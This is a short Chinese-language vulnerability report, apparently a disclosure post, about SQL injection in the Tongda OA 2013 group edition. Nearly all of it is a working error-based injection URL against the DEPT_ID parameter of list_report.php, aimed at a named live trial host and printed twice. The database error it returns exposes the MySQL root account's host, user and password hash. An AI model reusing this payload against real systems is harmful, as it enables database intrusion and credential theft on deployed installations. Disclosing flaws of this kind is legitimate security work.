通达OA2013集团版注入+root用户

### 简要描述： 通达可是很牛的哦 ### 详细说明： 试用登录:http://www.day900.com/ payload: http://www.day900.com/general/data_center/model_design/design/report/list_report.php?isreport=n&DEPT_ID=20%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 返回： 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select name, cursor1 from crs_repkind where id = 20 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 文件：/general/data_center/model_design/design/report/list_report.php ### 漏洞证明： payload: http://www.day900.com/general/data_center/model_design/design/report/list_report.php?isreport=n&DEPT_ID=20%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 返回： 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select name, cursor1 from crs_repkind where id = 20 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 文件：/general/data_center/model_design/design/report/list_report.php